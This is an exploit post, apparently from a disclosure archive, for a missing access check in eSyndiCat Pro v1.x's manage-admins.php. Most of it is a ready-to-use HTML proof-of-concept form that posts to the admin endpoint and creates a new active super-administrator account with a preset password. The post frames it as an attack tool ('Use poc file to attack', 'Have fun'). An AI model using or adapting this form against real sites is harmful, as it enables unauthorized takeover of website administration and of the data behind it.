eSyndiCat Input Validation Error Vulnerability

[hack2prison@xxxxxxxxx]

eSyndiCat is Directory websystem, a product of eSyndiCat.com
It has security hole allow attackers get admin and more and more.
Infected version: eSyndiCat Pro v1.x
Infected file: manage-admins.php
Use poc file to attack:

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<p>Discovered by H2P - A member of http://vnbrain.net
<form action="http://target/path/admin/manage-admins.php?action=add"; method="post">
<table cellspacing="0" cellpadding="0" width="100%" class="striped">
<tr>
	<td width="200"><strong>Admin username:</strong></td>
	<td><input type="text" name="username" size="22" value="checked"/></td>
</tr>
<tr>
	<td><strong>Admin Fullname:</strong></td>
	<td><input type="text" name="fullname" size="22" value="Check Only"/></td>
</tr>
<tr>
	<td><strong>Admin Email:</strong></td>
	<td>
	<input type="text" name="email" size="22" value="hack2prison@xxxxxxxxxxxxxxx" /></td>
</tr>
<tr>
	<td><strong>Admin password:</strong></td>
	<td><input type="password" name="new_pass" size="22" value="123456" /></td>
</tr>
<tr>
	<td><strong>Admin Password Confirmation:</strong></td>
	<td><input type="password" name="new_pass2" size="22" value="123456" /></td>
</tr>
<tr>
	<td><strong>Admin Status:</strong></td>
		<td><select name="status">
			<option value="active" >Active</option>
			<option value="approval" >Approval</option>		
		</select></td>
</tr>
<tr>
	<td><strong>Submission Notification:</strong></td>
		<td><input type="radio" name="submit_notif" value="1" id="lsn1" checked="checked" /><label for="lsn1">Enabled</label>
		<input type="radio" name="submit_notif" value="0" id="lsn0" /><label for="lsn0">Disabled</label>
	</td>
</tr>
<tr>
	<td><strong>Payment Notification:</strong></td>
		
	<td><input type="radio" name="payment_notif" value="1" id="lpn1" checked="checked" /><label for="lpn1">Enabled</label>
		<input type="radio" name="payment_notif" value="0" id="lpn0" /><label for="lpn0">Disabled</label>
	</td>
</tr>
	
<tr>
	<td class="caption" colspan="2"><strong>Admin Permissions</strong></td>
</tr>
<tr>
	<td><strong>Super Admin:</strong></td>
			<td><input type="radio" name="super" value="1" id="type1" checked="checked" onclick="javascript:document.getElementById('permissions').style.display='none';" /><label for="type1">Enabled</label>
		<input type="radio" name="super" value="0" id="type0"  onclick="javascript:document.getElementById('permissions').style.display='block';"/><label for="type0">Disabled</label>
	</td>
</tr>
</table>

<table cellspacing="0" width="100%">
<tr class="all">
	<td colspan="2"><input type="submit" name="save" value="Save Changes" />
		<input type="hidden" name="id" value="" />
		<input type="hidden" name="action" value="add" />
	</td>
</tr>
</table>
</form>
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Have fun